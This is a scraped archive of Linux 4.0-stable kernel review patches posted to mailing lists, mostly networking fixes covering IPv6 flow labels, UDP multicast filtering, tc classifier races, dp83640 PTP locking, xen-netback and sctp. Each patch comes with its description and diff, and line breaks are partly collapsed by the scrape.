commit 1d13a96c74fc ("ipv6: tcp: fix flowlabel value in ACK messages send from TIME_WAIT") added the flow label in the last TCP packets. Unfortunately, it was not casted properly.
This patch replace the buggy shift with be32_to_cpu/cpu_to_be32.
--- net/ipv4/tcp_minisocks.c | 2 +- net/ipv6/tcp_ipv6.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-)
net/ipv4/tcp_minisocks.c +1 -1
@@ -316,7 +316,7 @@ void tcp_time_wait(struct sock *sk, int tw->tw_v6_daddr = sk->sk_v6_daddr; tw->tw_v6_rcv_saddr = sk->sk_v6_rcv_saddr; tw->tw_tclass = np->tclass; - tw->tw_flowlabel = np->flow_label >>12 ; + tw->tw_flowlabel =be32_to_cpu (np->flow_label &IPV6_FLOWLABEL_MASK ); tw->tw_ipv6only = sk->sk_ipv6only; }#endif
net/ipv6/tcp_ipv6.c +1 -1
@@ -975,7 +975,7 @@ static void tcp_v6_timewait_ack(struct s tcptw->tw_rcv_wnd >> tw->tw_rcv_wscale, tcp_time_stamp + tcptw->tw_ts_offset, tcptw->tw_ts_recent, tw->tw_bound_dev_if,tcp_twsk_md5_key (tcptw), - tw->tw_tclass, (tw->tw_flowlabel << 12)); + tw->tw_tclass, cpu_to_be32(tw->tw_flowlabel));inet_twsk_put (tw); }
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 10/105 net/ipv6/udp: Fix ipv6 multicast socket filter regression
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Henning Rogge <[email protected]>
[ Upstream commit 33b4b015e1a1ca7a8fdce40af5e71642a8ea355c ]
Commit <5cf3d46192fc> ("udp: Simplify__udp*_lib_mcast_deliver") simplified the filter for incoming IPv6 multicast but removed the check of the local socket address and the UDP destination address.
This patch restores the filter to prevent sockets bound to a IPv6 multicast IP to receive other UDP traffic link unicast.
--- net/ipv6/udp.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
net/ipv6/udp.c +3 -1
@@ -734,7 +734,9 @@ static bool __udp_v6_is_mcast_sock(struc (inet->inet_dport && inet->inet_dport != rmt_port) || (!ipv6_addr_any (&sk->sk_v6_daddr) && !ipv6_addr_equal (&sk->sk_v6_daddr, rmt_addr)) || - (sk->sk_bound_dev_if && sk->sk_bound_dev_if != dif)) + (sk->sk_bound_dev_if && sk->sk_bound_dev_if != dif) || + (!ipv6_addr_any (&sk->sk_v6_rcv_saddr) && + !ipv6_addr_equal(&sk->sk_v6_rcv_saddr, loc_addr))) return false;if (!inet6_mc_check (sk, loc_addr, rmt_addr))return false;
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 11/105 net: sched: fix call_rcu() race on classifier module unloads
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Daniel Borkmann <[email protected]>
[ Upstream commit c78e1746d3ad7d548bdf3fe491898cc453911a49 ]
Vijay reported that a loop as simple as ...
while true; do
tc qdisc add dev foo root handle 1: prio
tc filter add dev foo parent 1: u32 match u32 0 0 flowid 1 tc qdisc del dev foo root
rmmod cls_u32
done
... will panic the kernel. Moreover, he bisected the change apparently introducing it to 78fd1d0ab072 ("netlink: Re-add locking to netlink_lookup() and seq walker").
The removal of synchronize_net() from the netlink socket triggering the qdisc to be removed, seems to have uncovered an RCU resp. module reference count race from the tc API. Given that RCU conversion was done after e341694e3eb5 ("netlink:
Convert netlink_lookup() to use RCU protected hash table") which added the synchronize_net() originally, occasion of hitting the bug was less likely (not impossible though):
When qdiscs that i) support attaching classifiers and, ii) have at least one of them attached, get deleted, they invoke tcf_destroy_chain(), and thus call into ->destroy() handler from a classifier module.
After RCU conversion, all classifier that have an internal prio list, unlink them and initiate freeing via call_rcu() deferral.
Meanhile, tcf_destroy() releases already reference to the tp->ops->owner module before the queued RCU callback handler has been invoked.
Subsequent rmmod on the classifier module is then not prevented since all module references are already dropped.
By the time, the kernel invokes the RCU callback handler from the module, that function address is then invalid.
One way to fix it would be to add an rcu_barrier() to unregister_tcf_proto_ops() to wait for all pending call_rcu()s to complete.
synchronize_rcu() is not appropriate as under heavy RCU callback load, registered call_rcu()s could be deferred longer than a grace period. In case we don't have any pending call_rcu()s, the barrier is allowed to return immediately.
Since we came here via unregister_tcf_proto_ops(), there are no users of a given classifier anymore. Further nested call_rcu()s pointing into the module space are not being done anywhere.
Only cls_bpf_delete_prog() may schedule a work item, to unlock pages eventually, but that is not in the range/context of cls_bpf anymore.
--- net/sched/cls_api.c | 5 +++++ 1 file changed, 5 insertions(+)
net/sched/cls_api.c +5 -0
@@ -81,6 +81,11 @@ int unregister_tcf_proto_ops(struct tcf_struct tcf_proto_ops *t;int rc = -ENOENT ; +/* Wait for outstanding call_rcu()s, if any, from a +* tcf_proto_ops's destroy() handler. +*/ +rcu_barrier (); +write_lock (&cls_mod_lock);list_for_each_entry (t, &tcf_proto_base, head) {if (t == ops) {
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 12/105 ipv4: Avoid crashing in ip_error
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: "Eric W. Biederman" <[email protected]>
[ Upstream commit 381c759d9916c42959515ad34a6d467e24a88e93 ]
ip_error does not check if in_dev is NULL before dereferencing it.
IThe following sequence of calls is possible:
CPU A CPU Bip_rcv_finish
ip_route_input_noref()
ip_route_input_slow()
inetdev_destroy()
dst_input()With the result that a network device can be destroyed while processing an input packet.
A crash was triggered with only unicast packets in flight, and
forwarding enabled on the only network device. The error condition
was created by the removal of the network device.
As such it is likely the that error code was -EHOSTUNREACH, and the action taken by ip_error (if in_dev had been accessible) would have been to not increment any counters and to have tried and likely failed to send an icmp error as the network device is going away.
Therefore handle this weird case by just dropping the packet if !in_dev. It will result in dropping the packet sooner, and will not result in an actual change of behavior.
--- net/ipv4/route.c | 4 ++++ 1 file changed, 4 insertions(+)
net/ipv4/route.c +4 -0
@@ -903,6 +903,10 @@ static int ip_error(struct sk_buff *skb)bool send;int code; +/* IP on this device is disabled. */ +if (!in_dev) + goto out; + net =dev_net (rt->dst.dev);if (!IN_DEV_FORWARD (in_dev)) {switch (rt->dst.error) {
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 14/105 bridge: fix parsing of MLDv2 reports
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Thadeu Lima de Souza Cascardo <[email protected]>
[ Upstream commit 47cc84ce0c2fe75c99ea5963c4b5704dd78ead54 ]
When more than a multicast address is present in a MLDv2 report, all but the first address is ignored, because the code breaks out of the loop if there has not been an error adding that address.
This has caused failures when two guests connected through the bridge tried to communicate using IPv6. Neighbor discoveries would not be transmitted to the other guest when both used a link-local address and a static address.
This only happens when there is a MLDv2 querier in the network.
The fix will only break out of the loop when there is a failure adding a multicast address.
The mdb before the patch:
dev ovirtmgmt port vnet0 grp ff02::1:ff7d:6603 temp dev ovirtmgmt port vnet1 grp ff02::1:ff7d:6604 temp dev ovirtmgmt port bond0.86 grp ff02::2 temp
After the patch:
dev ovirtmgmt port vnet0 grp ff02::1:ff7d:6603 temp dev ovirtmgmt port vnet1 grp ff02::1:ff7d:6604 temp dev ovirtmgmt port bond0.86 grp ff02::fb temp dev ovirtmgmt port bond0.86 grp ff02::2 temp dev ovirtmgmt port bond0.86 grp ff02::d temp dev ovirtmgmt port vnet0 grp ff02::1:ff00:76 temp dev ovirtmgmt port bond0.86 grp ff02::16 temp dev ovirtmgmt port vnet1 grp ff02::1:ff00:77 temp dev ovirtmgmt port bond0.86 grp ff02::1:ff00:def temp dev ovirtmgmt port bond0.86 grp ff02::1:ffa1:40bf temp
--- net/bridge/br_multicast.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
net/bridge/br_multicast.c +1 -1
@@ -1071,7 +1071,7 @@ static int br_ip6_multicast_mld2_report( err =br_ip6_multicast_add_group (br, port, &grec->grec_mca, vid); -if (!err) +if (err)break ; }
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 15/105 net: dp83640: fix broken calibration routine.
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Richard Cochran <[email protected]>
[ Upstream commit 397a253af5031de4a4612210055935309af4472c ]
Currently, the calibration function that corrects the initial offsets among multiple devices only works the first time. If the function is called more than once, the calibration fails and bogus offsets will be programmed into the devices.
In a well hidden spot, the device documentation tells that trigger indexes 0 and 1 are special in allowing the TRIG_IF_LATE flag to actually work.
This patch fixes the issue by using one of the special triggers during the recalibration method.
--- drivers/net/phy/dp83640.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/net/phy/dp83640.c +1 -1
@@ -47,7 +47,7 @@#define PSF_TX 0x1000#define EXT_EVENT 1#define CAL_EVENT 7 -#define CAL_TRIGGER 7 +#define CAL_TRIGGER 1#define DP83640_N_PINS 12#define MII_DP83640_MICR 0x11
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 16/105 net: dp83640: reinforce locking rules.
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Richard Cochran <[email protected]>
[ Upstream commit a935865c828c8cd20501f618c69f659a5b6d6a5f ]
Callers of the ext_write function are supposed to hold a mutex that protects the state of the dialed page, but one caller was missing the lock from the very start, and over time the code has been changed without following the rule. This patch cleans up the call sites in violation of the rule.
--- drivers/net/phy/dp83640.c | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-)
drivers/net/phy/dp83640.c +16 -1
@@ -495,7 +495,9 @@ static int ptp_dp83640_enable(struct ptpelse evnt |=EVNT_RISE ; } +mutex_lock (&clock->extreg_lock);ext_write (0 , phydev,PAGE5 ,PTP_EVNT , evnt); +mutex_unlock (&clock->extreg_lock);return 0 ;case PTP_CLK_REQ_PEROUT :
@@ -531,6 +533,8 @@ static u8 status_frame_src[6] = { 0x08,static void enable_status_frames (struct phy_device *phydev,bool on) { +struct dp83640_private *dp83640 = phydev->priv; +struct dp83640_clock *clock = dp83640->clock;u16 cfg0 =0 , ver;if (on)
@@ -538,9 +542,13 @@ static void enable_status_frames(struct ver = (PSF_PTPVER &VERSIONPTP_MASK ) <<VERSIONPTP_SHIFT ; +mutex_lock (&clock->extreg_lock); +ext_write (0 , phydev,PAGE5 ,PSF_CFG0 , cfg0);ext_write (0 , phydev,PAGE6 ,PSF_CFG1 , ver); +mutex_unlock (&clock->extreg_lock); +if (!phydev->attached_dev) {pr_warn ("expected to find an attached netdevice\n" );return ;
@@ -1172,11 +1180,18 @@ static int dp83640_config_init(struct phif (clock->chosen && !list_empty (&clock->phylist))recalibrate (clock); -else +else { +mutex_lock (&clock->extreg_lock);enable_broadcast (phydev, clock->page,1 ); +mutex_unlock (&clock->extreg_lock); + }enable_status_frames (phydev, true); + +mutex_lock (&clock->extreg_lock);ext_write (0 , phydev,PAGE4 ,PTP_CTL ,PTP_ENABLE ); +mutex_unlock (&clock->extreg_lock); +return 0 ; }
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 17/105 net: dp83640: fix improper double spin locking.
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Richard Cochran <[email protected]>
[ Upstream commit adbe088f6f8b0b7701fe07f51fe6f2bd602a6665 ]
A pair of nested spin locks was introduced in commit 63502b8d0 "dp83640: Fix receive timestamp race condition".
Unfortunately the 'flags' parameter was reused for the inner lock, clobbering the originally saved IRQ state. This patch fixes the issue by changing the inner lock to plain spin_lock without irqsave.
--- drivers/net/phy/dp83640.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/net/phy/dp83640.c +2 -2
@@ -845,7 +845,7 @@ static void decode_rxts(struct dp83640_plist_del_init (&rxts->list);phy2rxts (phy_rxts, rxts); -spin_lock_irqsave (&dp83640->rx_queue.lock, flags); +spin_lock (&dp83640->rx_queue.lock); skb_queue_walk(&dp83640->rx_queue, skb) {struct dp83640_skb_info *skb_info;
@@ -860,7 +860,7 @@ static void decode_rxts(struct dp83640_pbreak ; } } -spin_unlock_irqrestore (&dp83640->rx_queue.lock, flags); +spin_unlock (&dp83640->rx_queue.lock);if (!shhwtstamps)list_add_tail (&rxts->list, &dp83640->rxts);
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 18/105 unix/caif: sk_socket can disappear when state is unlocked
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Mark Salyzyn <[email protected]>
[ Upstream commit b48732e4a48d80ed4a14812f0bab09560846514e ]
got a rare NULL pointer dereference in clear_bit
----
v2: switch to sock_flag(sk, SOCK_DEAD) and added net/caif/caif_socket.c
v3: return -ECONNRESET in upstream caller of wait function for SOCK_DEAD
--- net/caif/caif_socket.c | 8 ++++++++ net/unix/af_unix.c | 8 ++++++++ 2 files changed, 16 insertions(+)
net/caif/caif_socket.c +8 -0
@@ -330,6 +330,10 @@ static long caif_stream_data_wait(structrelease_sock (sk); timeo =schedule_timeout (timeo);lock_sock (sk); + +if (sock_flag (sk,SOCK_DEAD )) +break ; +clear_bit (SOCK_ASYNC_WAITDATA , &sk->sk_socket->flags); }
@@ -374,6 +378,10 @@ static int caif_stream_recvmsg(struct kistruct sk_buff *skb;lock_sock (sk); +if (sock_flag (sk,SOCK_DEAD )) { + err = -ECONNRESET ; + goto unlock; + } skb =skb_dequeue (&sk->sk_receive_queue);caif_check_flow_release (sk);
net/unix/af_unix.c +8 -0
@@ -1887,6 +1887,10 @@ static long unix_stream_data_wait(structunix_state_unlock (sk); timeo =freezable_schedule_timeout (timeo);unix_state_lock (sk); + +if (sock_flag (sk,SOCK_DEAD )) +break ; +clear_bit (SOCK_ASYNC_WAITDATA , &sk->sk_socket->flags); }
@@ -1947,6 +1951,10 @@ static int unix_stream_recvmsg(struct kistruct sk_buff *skb, *last;unix_state_lock (sk); +if (sock_flag (sk,SOCK_DEAD )) { + err = -ECONNRESET ; + goto unlock; + } last = skb =skb_peek (&sk->sk_receive_queue); again:if (skb ==NULL ) {
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 19/105 xen/netback: Properly initialize credit_bytes
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ross Lagerwall <[email protected]>
[ Upstream commit ce0e5c522d3924090c20e774359809a7aa08c44c ]
Commit e9ce7cb6b107 ("xen-netback: Factor queue-specific data into queue struct") introduced a regression when moving queue-specific data into the queue struct by failing to set the credit_bytes field. This prevented bandwidth limiting from working. Initialize the field as it was done before multiqueue support was added.
--- drivers/net/xen-netback/xenbus.c | 1 + 1 file changed, 1 insertion(+)
drivers/net/xen-netback/xenbus.c +1 -0
@@ -736,6 +736,7 @@ static void connect(struct backend_info goto err; } + queue->credit_bytes = credit_bytes; queue->remaining_credit = credit_bytes; queue->credit_usec = credit_usec;
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 20/105 net_sched: invoke ->attach() after setting dev->qdisc
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: WANG Cong <[email protected]>
[ Upstream commit 86e363dc3b50bfd50a1f315934583fbda673ab8d ]
For mq qdisc, we add per tx queue qdisc to root qdisc for display purpose, however, that happens too early, before the new dev->qdisc is finally set, this causes q->list points to an old root qdisc which is going to be freed right before assigning with a new one.
Fix this by moving ->attach() after setting dev->qdisc.
For the record, this fixes the following crash:
------------[ cut here ]------------ WARNING: CPU: 1 PID: 975 at lib/list_debug.c:59 __list_del_entry+0x5a/0x98() list_del corruption. prev->next should be ffff8800d1998ae8, but was 6b6b6b6b6b6b6b6b CPU: 1 PID: 975 Comm: tc Not tainted 4.1.0-rc4+ #1019 Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 0000000000000009 ffff8800d73fb928 ffffffff81a44e7f 0000000047574756 ffff8800d73fb978 ffff8800d73fb968 ffffffff810790da ffff8800cfc4cd20 ffffffff814e725b ffff8800d1998ae8 ffffffff82381250 0000000000000000 Call Trace: [<ffffffff81a44e7f>] dump_stack+0x4c/0x65 [<ffffffff810790da>] warn_slowpath_common+0x9c/0xb6 [<ffffffff814e725b>] ? __list_del_entry+0x5a/0x98 [<ffffffff81079162>] warn_slowpath_fmt+0x46/0x48 [<ffffffff81820eb0>] ? dev_graft_qdisc+0x5e/0x6a [<ffffffff814e725b>] __list_del_entry+0x5a/0x98 [<ffffffff814e72a7>] list_del+0xe/0x2d [<ffffffff81822f05>] qdisc_list_del+0x1e/0x20 [<ffffffff81820cd1>] qdisc_destroy+0x30/0xd6 [<ffffffff81822676>] qdisc_graft+0x11d/0x243 [<ffffffff818233c1>] tc_get_qdisc+0x1a6/0x1d4 [<ffffffff810b5eaf>] ? mark_lock+0x2e/0x226 [<ffffffff817ff8f5>] rtnetlink_rcv_msg+0x181/0x194 [<ffffffff817ff72e>] ? rtnl_lock+0x17/0x19 [<ffffffff817ff72e>] ? rtnl_lock+0x17/0x19 [<ffffffff817ff774>] ? __rtnl_unlock+0x17/0x17 [<ffffffff81855dc6>] netlink_rcv_skb+0x4d/0x93 [<ffffffff817ff756>] rtnetlink_rcv+0x26/0x2d [<ffffffff818544b2>] netlink_unicast+0xcb/0x150 [<ffffffff81161db9>] ? might_fault+0x59/0xa9 [<ffffffff81854f78>] netlink_sendmsg+0x4fa/0x51c [<ffffffff817d6e09>] sock_sendmsg_nosec+0x12/0x1d [<ffffffff817d8967>] sock_sendmsg+0x29/0x2e [<ffffffff817d8cf3>] ___sys_sendmsg+0x1b4/0x23a [<ffffffff8100a1b8>] ? native_sched_clock+0x35/0x37 [<ffffffff810a1d83>] ? sched_clock_local+0x12/0x72 [<ffffffff810a1fd4>] ? sched_clock_cpu+0x9e/0xb7 [<ffffffff810def2a>] ? current_kernel_time+0xe/0x32 [<ffffffff810b4bc5>] ? lock_release_holdtime.part.29+0x71/0x7f [<ffffffff810ddebf>] ? read_seqcount_begin.constprop.27+0x5f/0x76 [<ffffffff810b6292>] ? trace_hardirqs_on_caller+0x17d/0x199 [<ffffffff811b14d5>] ? __fget_light+0x50/0x78 [<ffffffff817d9808>] __sys_sendmsg+0x42/0x60 [<ffffffff817d9838>] SyS_sendmsg+0x12/0x1c [<ffffffff81a50e97>] system_call_fastpath+0x12/0x6f ---[ end trace ef29d3fb28e97ae7 ]---
For long term, we probably need to clean up the qdisc_graft() code in case it hides other bugs like this.
--- net/sched/sch_api.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-)
net/sched/sch_api.c +6 -4
@@ -815,10 +815,8 @@ static int qdisc_graft(struct net_deviceif (dev->flags &IFF_UP )dev_deactivate (dev); -if (new && new->ops->attach) { - new->ops->attach (new); - num_q =0 ; - } +if (new && new->ops->attach) + goto skip;for (i =0 ; i < num_q; i++) {struct netdev_queue *dev_queue =dev_ingress_queue (dev);
@@ -834,12 +832,16 @@ static int qdisc_graft(struct net_deviceqdisc_destroy (old); } +skip:if (!ingress) {notify_and_destroy (net, skb, n, classid, dev->qdisc, new);if (new && !new->ops->attach)atomic_inc (&new->refcnt); dev->qdisc = new ? : &noop_qdisc; + +if (new && new->ops->attach) + new->ops->attach (new); }else {notify_and_destroy (net, skb, n, classid, old, new); }
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 21/105 sctp: Fix mangled IPv4 addresses on a IPv6 listening socket
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jason Gunthorpe <[email protected]>
[ Upstream commit 9302d7bb0c5cd46be5706859301f18c137b2439f ]
sctp_v4_map_v6 was subtly writing and reading from members of a union in a way the clobbered data it needed to read before it read it.
Zeroing the v6 flowinfo overwrites the v4 sin_addr with 0, meaning that every place that calls sctp_v4_map_v6 gets ::ffff:0.0.0.0 as the result.
Reorder things to guarantee correct behaviour no matter what the union layout is.
This impacts user space clients that open an IPv6 SCTP socket and receive IPv4 connections. Prior to 299ee user space would see a sockaddr with AF_INET and a correct address, after 299ee the sockaddr is AF_INET6, but the address is wrong.
--- include/net/sctp/sctp.h | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-)
include/net/sctp/sctp.h +5 -2
@@ -571,11 +571,14 @@ static inline void sctp_v6_map_v4(union/* Map v4 address to v4-mapped v6 address */ static inline void sctp_v4_map_v6 (union sctp_addr *addr) { +__be16 port; + + port = addr->v4.sin_port; + addr->v6.sin6_addr.s6_addr32[3 ] = addr->v4.sin_addr.s_addr; + addr->v6.sin6_port = port; addr->v6.sin6_family =AF_INET6 ; addr->v6.sin6_flowinfo =0 ; addr->v6.sin6_scope_id =0 ; - addr->v6.sin6_port = addr->v4.sin_port; - addr->v6.sin6_addr.s6_addr32[3 ] = addr->v4.sin_addr.s_addr; addr->v6.sin6_addr.s6_addr32[0 ] =0 ; addr->v6.sin6_addr.s6_addr32[1 ] =0 ; addr->v6.sin6_addr.s6_addr32[2 ] =htonl (0x0000ffff );
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 23/105 udp: fix behavior of wrong checksums
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Eric Dumazet <[email protected]>
[ Upstream commit beb39db59d14990e401e235faf66a6b9b31240b0 ]
We have two problems in UDP stack related to bogus checksums :
1) We return -EAGAIN to application even if receive queue is not empty. This breaks applications using edge trigger epoll()
2) Under UDP flood, we can loop forever without yielding to other processes, potentially hanging the host, especially on non SMP.
This patch is an attempt to make things better.
We might in the future add extra support for rt applications wanting to better control time spent doing a recv() in a hostile environment. For example we could validate checksums before queuing packets in socket receive queue.
--- net/ipv4/udp.c | 6 ++---- net/ipv6/udp.c | 6 ++---- 2 files changed, 4 insertions(+), 8 deletions(-)
net/ipv4/udp.c +2 -4
@@ -1348,10 +1348,8 @@ csum_copy_err: }unlock_sock_fast (sk, slow); -if (noblock) -return -EAGAIN ; - -/* starting over for a new packet */ +/* starting over for a new packet, but check if we need to yield */ +cond_resched (); msg->msg_flags &= ~MSG_TRUNC ; goto try_again; }
net/ipv6/udp.c +2 -4
@@ -528,10 +528,8 @@ csum_copy_err: }unlock_sock_fast (sk, slow); -if (noblock) -return -EAGAIN ; - -/* starting over for a new packet */ +/* starting over for a new packet, but check if we need to yield */ +cond_resched (); msg->msg_flags &= ~MSG_TRUNC ; goto try_again; }
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 24/105 tcp: fix child sockets to use system default congestion control if not set
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Neal Cardwell <[email protected]>
[ Upstream commit 9f950415e4e28e7cfae2e416b43e862e8101d996 ]
Linux 3.17 and earlier are explicitly engineered so that if the app doesn't specifically request a CC module on a listener before the SYN arrives, then the child gets the system default CC when the connection is established. See tcp_init_congestion_control() in 3.17 or earlier, which says "if no choice made yet assign the current value set as default". The change ("net: tcp: assign tcp cong_ops when tcp sk is created") altered these semantics, so that children got their parent listener's congestion control even if the system default had changed after the listener was created.
This commit returns to those original semantics from 3.17 and earlier, since they are the original semantics from 2007 in 4d4d3d1e8 ("[TCP]:
Congestion control initialization."), and some Linux congestion control workflows depend on that.
In summary, if a listener socket specifically sets TCP_CONGESTION to "x", or the route locks the CC module to "x", then the child gets "x". Otherwise the child gets current system default from net.ipv4.tcp_congestion_control. That's the behavior in 3.17 and earlier, and this commit restores that.
--- include/net/inet_connection_sock.h | 3 ++- net/ipv4/tcp_cong.c | 5 ++++- net/ipv4/tcp_minisocks.c | 5 ++++- 3 files changed, 10 insertions(+), 3 deletions(-)
include/net/inet_connection_sock.h +2 -1
@@ -98,7 +98,8 @@ struct inet_connection_sock {const struct tcp_congestion_ops *icsk_ca_ops;const struct inet_connection_sock_af_ops *icsk_af_ops;unsigned int (*icsk_sync_mss)(struct sock *sk,u32 pmtu); - __u8 icsk_ca_state:7, + __u8 icsk_ca_state:6, + icsk_ca_setsockopt:1, icsk_ca_dst_locked:1;__u8 icsk_retransmits;__u8 icsk_pending;
net/ipv4/tcp_cong.c +4 -1
@@ -187,6 +187,7 @@ static void tcp_reinit_congestion_controtcp_cleanup_congestion_control (sk); icsk->icsk_ca_ops = ca; + icsk->icsk_ca_setsockopt =1 ;if (sk->sk_state !=TCP_CLOSE && icsk->icsk_ca_ops->init) icsk->icsk_ca_ops->init (sk);
@@ -335,8 +336,10 @@ int tcp_set_congestion_control(struct sorcu_read_lock (); ca =__tcp_ca_find_autoload (name);/* No change asking for existing value */ -if (ca == icsk->icsk_ca_ops) +if (ca == icsk->icsk_ca_ops) { + icsk->icsk_ca_setsockopt =1 ; goto out; + }if (!ca) err = -ENOENT ; else if (!((ca->flags & TCP_CONG_NON_RESTRICTED) ||
net/ipv4/tcp_minisocks.c +4 -1
@@ -437,7 +437,10 @@ void tcp_ca_openreq_child(struct sock *srcu_read_unlock (); } -if (!ca_got_dst && !try_module_get (icsk->icsk_ca_ops->owner)) +/* If no valid choice made yet, assign current system default ca. */ +if (!ca_got_dst && + (!icsk->icsk_ca_setsockopt || + !try_module_get (icsk->icsk_ca_ops->owner)))tcp_assign_congestion_control (sk);tcp_set_ca_state (sk, TCP_CA_Open);
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 25/105 xen: netback: read hotplug script once at start of day.
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ian Campbell <[email protected]>
[ Upstream commit 31a418986a5852034d520a5bab546821ff1ccf3d ]
When we come to tear things down in netback_remove() and generate the uevent it is possible that the xenstore directory has already been removed (details below).
In such cases netback_uevent() won't be able to read the hotplug script and will write a xenstore error node.
A recent change to the hypervisor exposed this race such that we now sometimes lose it (where apparently we didn't ever before).
Instead read the hotplug script configuration during setup and use it for the lifetime of the backend device.
The apparently more obvious fix of moving the transition to state=Closed in netback_remove() to after the uevent does not work because it is possible that we are already in state=Closed (in reaction to the guest having disconnected as it shutdown). Being already in Closed means the toolstack is at liberty to start tearing down the xenstore directories. In principal it might be possible to arrange to unregister the device sooner (e.g on transition to Closing) such that xenstore would still be there but this state machine is fragile and prone to anger...
A modern Xen system only relies on the hotplug uevent for driver domains, when the backend is in the same domain as the toolstack it will run the necessary setup/teardown directly in the correct sequence wrt xenstore changes.
--- drivers/net/xen-netback/xenbus.c | 33 +++++++++++++++++++-------------- 1 file changed, 19 insertions(+), 14 deletions(-)
drivers/net/xen-netback/xenbus.c +19 -14
@@ -34,6 +34,8 @@ struct backend_info {enum xenbus_state frontend_state;struct xenbus_watch hotplug_status_watch; u8 have_hotplug_status_watch:1; + +const char *hotplug_script; };static int connect_rings (struct backend_info *be,struct xenvif_queue *queue);
@@ -236,6 +238,7 @@ static int netback_remove(struct xenbus_xenvif_free (be->vif); be->vif =NULL ; } +kfree (be->hotplug_script);kfree (be);dev_set_drvdata (&dev->dev,NULL );return 0 ;
@@ -253,6 +256,7 @@ static int netback_probe(struct xenbus_dstruct xenbus_transaction xbt;int err;int sg; +const char *script;struct backend_info *be =kzalloc (sizeof (struct backend_info ),GFP_KERNEL );if (!be) {
@@ -345,6 +349,15 @@ static int netback_probe(struct xenbus_dif (err)pr_debug ("Error writing multi-queue-max-queues\n" ); + script =xenbus_read (XBT_NIL , dev->nodename,"script" ,NULL ); +if (IS_ERR (script)) { + err =PTR_ERR (script); +xenbus_dev_fatal (dev, err,"reading script" ); + goto fail; + } + + be->hotplug_script = script; + err =xenbus_switch_state (dev, XenbusStateInitWait);if (err) goto fail;
@@ -377,22 +390,14 @@ static int netback_uevent(struct xenbus_ struct kobj_uevent_env *env) {struct backend_info *be =dev_get_drvdata (&xdev->dev); -char *val; - val =xenbus_read (XBT_NIL , xdev->nodename,"script" ,NULL ); -if (IS_ERR (val)) { -int err =PTR_ERR (val); -xenbus_dev_fatal (xdev, err,"reading script" ); -return err; - }else { -if (add_uevent_var (env,"script=%s" , val)) { -kfree (val); -return -ENOMEM ; - } -kfree (val); - } +if (!be) +return 0 ; + +if (add_uevent_var (env,"script=%s" , be->hotplug_script)) +return -ENOMEM ; -if (!be || !be->vif) +if (!be->vif)return 0 ;return add_uevent_var (env,"vif=%s" , be->vif->dev->name);
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 26/105 ipv4/udp: Verify multicast group is ours in upd_v4_early_demux()
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Shawn Bohrer <[email protected]>
[ Upstream commit 6e540309326188f769e03bb4c6dd8ff6752930c2 ]
421b3885bf6d56391297844f43fb7154a6396e12 "udp: ipv4: Add udp early demux" introduced a regression that allowed sockets bound to INADDR_ANY to receive packets from multicast groups that the socket had not joined. For example a socket that had joined 224.168.2.9 could also receive packets from 225.168.2.9 despite not having joined that group if ip_early_demux is enabled.
